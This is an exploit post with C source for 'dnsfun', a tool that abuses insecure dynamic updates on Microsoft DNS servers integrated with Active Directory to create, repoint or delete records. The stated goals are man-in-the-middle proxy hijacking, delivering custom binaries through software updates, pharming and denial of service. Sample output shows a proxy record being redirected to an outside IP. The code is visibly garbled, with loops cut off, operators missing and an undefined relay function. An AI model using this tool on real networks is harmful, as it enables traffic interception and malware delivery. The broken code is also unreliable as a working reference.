Microsoft DNS Server (Dynamic DNS Updates) Remote Exploit

Exploiting Microsoft DNS Dynamic Updates for Fun and profit

Url: http://www.514.es

By default, most Microsoft DNS servers integrated with active directory allow

insecure dynamic updates for dns records.

This feature allows remote users to create, change and delete DNS records.

There are several attack scenarios:

MITM attacks: Changing dns records for the network proxy and relay HTTP queries.

This attack vector is the most reliable and also allows us to exploit automatic

updates for most Windows software, by deploying custom binaries to the client.

Denial of service: by deleting / changing critical dns records

Pharming: like mitm attacks, poisoning several dns records.

dnsfun exploits that weak configuration and allows remote users to modify dns records.

Here are some examples of what can be done. Example:

D:DNSfun>ping -n 1 FakeProxy.fooooo.com

Haciendo ping a FakeProxy.fooooo.com [66.6.66.6] con 32 bytes de datos:

D:DNSfun>dnsfun.exe -s 10.100.1.1 -q proxy.mydomain -u 66.6.66.6

Microsoft Dynamic DNS Updates - Proof of Concept

[ ] Trying to resolve Host: proxy.mydomain (Dns Server 10.100.1.1)

[ ] Host proxy.mydomain resolved as 192.168.1.200

[ ] Trying to set ip address of the host proxy.mydomain to 66.6.66.6

[ ] Trying Nonsecure Dynamic Update...

[?] Host Updated. Checking...(0)

[ ] Host proxy.mydomain resolved as 66.6.66.6

D:DNSfun>dnsfun.exe -s 10.100.1.1 -cc atarasco.mydomain.com -u www.514.es

Microsoft Dynamic DNS Updates - Proof of Concept

[ ] Gathering Credentials..

[ ] Creating DNS CName Record for atarasco.mydomain.com (www.514.es)

[ ] Host Created. Rechecking Record...

[ ] Host atarasco.mydomain.com resolved as CNAME www.514.es

This isn't a new vulnerability but AFAIK those attack vectors were never exploited.

Check the usage function for more information

#include

#pragma comment(lib,"Dnsapi.lib")

#pragma comment(lib, "ws2_32.lib")

char TargetDnsServer[256]=""; // -s

char TargetDnsRecord[256]=""; // -q

char NewIpAddress[256]=""; // -i

char DeleteDnsRecord[256]=""; //-d

char CreateDnsRecord[256]="";

WORD CreationType=DNS_TYPE_A;

#define DELETERECORD (DeleteDnsRecord[0]!='')

#define UPDATERECORD ( (TargetDnsRecord[0]!='') && (NewIpAddress[0]!='') )

#define CREATERECORD ( (CreateDnsRecord[0]!='') && (NewIpAddress[0]!='') )

#define QUERYRECORD (TargetDnsRecord[0]!='')

#define _DBG_

#undef _DBG_

void usage(char *argv[]);

DNS_RECORDA *DnsQueryA(char *name,IP4_ARRAY *servers)

{

DNS_STATUS status;

WORD type= DNS_TYPE_ANY;

DWORD fOptions=DNS_QUERY_BYPASS_CACHE | DNS_QUERY_NO_LOCAL_NAME |DNS_QUERY_NO_HOSTS_FILE | DNS_QUERY_NO_NETBT | DNS_QUERY_TREAT_AS_FQDN;

PVOID* reserved=NULL;

DNS_RECORDA *records=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));

DNS_RECORDA *result;

IN_ADDR ipaddr;

int i;

int count=0;

if (!name) {

return (NULL);

} else {

memset(records,'',sizeof(DNS_RECORDA));

status = DnsQuery_A( name, //PCWSTR pszName,

type, //WORD wType,

fOptions, //DWORD fOptions,

servers, //PIP4_ARRAY aipServers,

(DNS_RECORDA**)&records, //PDNS_RECORD* ppQueryResultsSet,

reserved ); //PVOID* pReserved

if (status == ERROR_SUCCESS)

{

fflush(stdout);

result=records;

do {

#ifdef _DBG_

printf("[ ] Record %i---n",count);

count ;

printf("[ ] DNS wDataLength %in",result->wDataLength);

printf("[ ] DNS Flags DW: %xn",result->Flags.DW);

printf("[ ] DNS Flags S.Section: %xn",result->Flags.S.Section);

printf("[ ] DNS Flags S.Delete: %xn",result->Flags.S.Delete);

printf("[ ] DNS Flags S.CharSet: %xn",result->Flags.S.CharSet);

printf("[ ] DNS Flags S.Unused: %xn",result->Flags.S.Unused);

printf("[ ] DNS Flags S.Reserved: %xn",result->Flags.S.Reserved);

#endif

switch (result->wType) {

case DNS_TYPE_A:

ipaddr.S_un.S_addr = (result->Data.A.IpAddress);

printf("[ ] Host %s resolved as %sn", result->pName,inet_ntoa(ipaddr));

break;

case DNS_TYPE_NS:

printf("[ ] Domain %s Dns Servers: %sn",result->pName,result->Data.Ns.pNameHost);

break;

case DNS_TYPE_CNAME:

printf("[ ] Host %s resolved as CNAME %sn", result->pName,result->Data.Cname.pNameHost);

//DnsQueryA(result->Data.Cname.pNameHost,servers);

break;

case DNS_TYPE_SOA:

printf("[ ] SOA Information: PrimaryServer: %sn",result->Data.Soa.pNamePrimaryServer);

printf("[ ] SOA Information: Administrator: %sn",result->Data.Soa.pNameAdministrator);

printf("[ ] SOA Information: SerialNo %x - Refresh %i - retry %i - Expire %i - DefaultTld %in",

result->Data.Soa.dwSerialNo,

result->Data.Soa.dwRefresh,

result->Data.Soa.dwRetry,

result->Data.Soa.dwExpire,

result->Data.Soa.dwDefaultTtl);

break;

case DNS_TYPE_MX:

printf("[ ] %s MX Server resolved as %s (Preference %i)n", result->pName,result->Data.Mx.pNameExchange, result->Data.Mx.wPreference);

break;

case DNS_TYPE_TEXT:

printf("[ ] Text: %i bytesn",result->Data.Txt.dwStringCount); //:?

break;

case DNS_TYPE_SRV:

printf("[ ] SRV Record. NameTarget %s ",result->Data.Srv.pNameTarget);

printf("(Priority %i - Port %i - Weigth: %i)n",result->Data.Srv.wPriority,result->Data.Srv.wPort,result->Data.Srv.wWeight);

//printf("[ ] Resource Pad %i n",result->Data.Srv.Pad);

break;

default:

printf("[-] DnsQuery returned unknown wtype %xn",result->wType);

break;

}

result=result->pNext;

} while (result!=NULL);

} else {

if (status==9003) printf("[-] Record not foundn");

else printf("[-] Query Error: %i - %in",status,GetLastError());

exit(-1);

}

return records;

}

/***********************************************************************************************/

int main(int argc, char *argv[]) {

HANDLE creds;

DNS_RECORDA *result;

DNS_STATUS status;

HANDLE ContextHandle;

DWORD Options=DNS_UPDATE_SECURITY_ON;

PVOID pReserved=NULL;

IN_ADDR ipaddr;

IP4_ARRAY *servers=NULL;

SEC_WINNT_AUTH_IDENTITY_A *Credentials=NULL;

WORD i;

printf(" Microsoft Dynamic DNS Updates - Proof of Conceptn");

if (argc==1) usage(argv);

//Init Credentials Struct

Credentials = (SEC_WINNT_AUTH_IDENTITY_A *)malloc(sizeof(SEC_WINNT_AUTH_IDENTITY_A));

memset(Credentials,'',sizeof(SEC_WINNT_AUTH_IDENTITY_A));

Credentials->Flags=SEC_WINNT_AUTH_IDENTITY_ANSI;

for(i=1;iAddrCount=1;

servers->AddrArray[0]=inet_addr(TargetDnsServer);

break;

case 'D':

case 'd':

strcpy(DeleteDnsRecord,argv[i 1]);

break;

case 'q':

case 'Q':

strcpy(TargetDnsRecord,argv[i 1]);

break;

case 'u':

case 'U':

strcpy(NewIpAddress,argv[i 1]);

break;

case 'c':

case 'C':

strcpy(CreateDnsRecord,argv[i 1]);

if (NewIpAddress[0]=='') strcpy(NewIpAddress,"127.0.0.1");

if (argv[i][2]!='') {

switch (argv[i][2]) {

case 'c': CreationType=DNS_TYPE_CNAME;

break;

case 'a': CreationType=DNS_TYPE_A;

break;

}

break;

case 'f':

CreateThread( NULL,0,HttpRelayToProxy,(LPVOID) &i,0,&dwThreadId);

break;

case 'au': //Uauthorization serName

Credentials->User=argv[i 1]; Credentials->UserLength=strlen(argv[i 1]); break;

case 'ap':

Credentials->Password=argv[i 1];Credentials->PasswordLength=strlen(argv[i 1]); break;

case 'ad':

Credentials->Domain=argv[i 1]; Credentials->DomainLength=strlen(argv[i 1]); break;

default:

printf("[-] Invalid argument: %sn",argv[i]);

usage(argv);

break;

}

i ;

} else usage(argv);

}

printf("[ ] Gathering Credentials..n");

//http://msdn2.microsoft.com/en-us/library/ms682007.aspx

if (Credentials->UserLength==0) {

status=DnsAcquireContextHandle(FALSE,NULL,&ContextHandle); //Context with default Credentials

} else {

status=DnsAcquireContextHandle(FALSE,Credentials,&ContextHandle); //Context with Custom Credentials

}

if (status == ERROR_SUCCESS) {

if (CREATERECORD) {

result=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));

memset(result,'',sizeof(DNS_RECORDA));

result->wType=CreationType; //DNS_TYPE_A by default

if (CreationType==DNS_TYPE_CNAME) {

printf("[ ] Creating DNS CName Record for %s (%s)n",CreateDnsRecord,NewIpAddress);

result->Data.Cname.pNameHost=NewIpAddress;

} else {

printf("[ ] Creating DNS A Record for %s (%s)n",CreateDnsRecord,NewIpAddress);

result->Data.A.IpAddress=inet_addr(NewIpAddress);

}

result->pName=CreateDnsRecord;

result->wDataLength=4;

result->Flags.S.Section=1;

result->Flags.S.CharSet=DnsCharSetAnsi;

result->pNext=NULL;

status=DnsModifyRecordsInSet_A(result, //add record

NULL, //delete record

Options,

ContextHandle,

servers,

NULL);

if (status ==ERROR_SUCCESS) {

printf("[ ] Host Created. Rechecking Record...n");

DnsRecordListFree(result,DnsFreeRecordList);

result=DnsQueryA(CreateDnsRecord,servers);

} else {

printf("[-] Error: Unable to create %s (%i)n",CreateDnsRecord,status);

}

} else if (DELETERECORD) {

printf("[ ] Trying to resolve Host: %s before deletingn",DeleteDnsRecord);

result=DnsQueryA(DeleteDnsRecord,servers);

if (result!=NULL) {

printf("[ ] Trying to Delete Record. Are You Sure? (Y/N)...");

i=getchar(); if (i!='y') return(-1);

printf("[ ] Deleting record %sn",DeleteDnsRecord);

status=DnsModifyRecordsInSet_A(NULL, //add record

result, //delete record

Options,

ContextHandle,

servers,

NULL);

if (status ==ERROR_SUCCESS) {

printf("[ ] Host Deleted. Rechecking Record %s...n",DeleteDnsRecord);

DnsRecordListFree(result,DnsFreeRecordList);

result=DnsQueryA(DeleteDnsRecord,servers);

} else {

printf("[-] Error: Unable to Delete %sn",DeleteDnsRecord);

}

} else {

printf("[-] Host %s not foundn",DeleteDnsRecord);

}

} else if (UPDATERECORD) {

// exit(1);

printf("[ ] Trying to resolve Host: %s before updatingn",TargetDnsRecord);

result=DnsQueryA(TargetDnsRecord,servers);

if (result->wType==DNS_TYPE_A ) {

printf("[ ] Trying to update record. Are You Sure? (Y/N)...");

i=getchar(); if (i!='y') return(-1);

result->Data.A.IpAddress=inet_addr(NewIpAddress);//Modify Dns record

ipaddr.S_un.S_addr = (result->Data.A.IpAddress);

printf("[ ] Trying to set ip address of the host %s to %s n", TargetDnsRecord,NewIpAddress);//inet_ntoa(ipaddr));

printf("[ ] Trying to Modify Record...n");

status=DnsReplaceRecordSetA(result,

Options, //Attempts nonsecure dynamic update. If refused, then attempts secure dynamic update.

ContextHandle,

servers,//pServerList,

NULL);//pReserved

if (status ==ERROR_SUCCESS) {

printf("[ ] Host Updated. Rechecking Record...n");

DnsRecordListFree(result,DnsFreeRecordList);

result=DnsQueryA(TargetDnsRecord,servers);

} else {

printf("[-] Error: Unable to Delete %sn",TargetDnsRecord);

}

} else {

printf("[-] Unable to Update Record (Type %x)n",result->wType);

}

} else if (QUERYRECORD) {

printf("[ ] Query Information for host %s...n",TargetDnsRecord);

result=DnsQueryA(TargetDnsRecord,servers);

DnsRecordListFree(result,DnsFreeRecordList);

} else {

printf("[-] Unknown Optionsn");

return(-1);

}

} else {

printf("[-] Error Calling DnsAcquireContextHandlen");

}

return (1);

}

/****************************************************************************/

void usage(char *argv[]) {

printf(" Usage:n");

printf("t%st -[s]d|c|q[u] n",argv[0]);

printf(" Details:n");

printf("t%st -s ip (dns Server (optional))n",argv[0]);

printf("t%st -d fqdn (Delete dns record)n",argv[0]);

printf("t%st -q fqdn (Query dns record)n",argv[0]);

printf("t%st -c[a|c] ip (Create A or CName record (default A))n",argv[0]);

printf("t%st -u ip|fqdn (Update dns record (requires -q or -c))n",argv[0]);

printf("n Examples:n");

printf("t%s -s 10.0.0.1 -q proxy.mydomain.com -u 5.1.4.77 (Updates record)n",argv[0]);

printf("t%s -s 10.0.0.1 -d foo.mydomain.com (delete foo.mydomain.com record)n",argv[0]);

printf("t%s -s 10.0.0.1 -c atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)n",argv[0]);

printf("t%s -s 10.0.0.1 -cc www.atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)n",argv[0]);

printf("t%s -s 10.0.0.1 -q _ldap._tcp.mydomain (Query for srv record)n",argv[0]);

exit(0);

}

/****************************************************************************/

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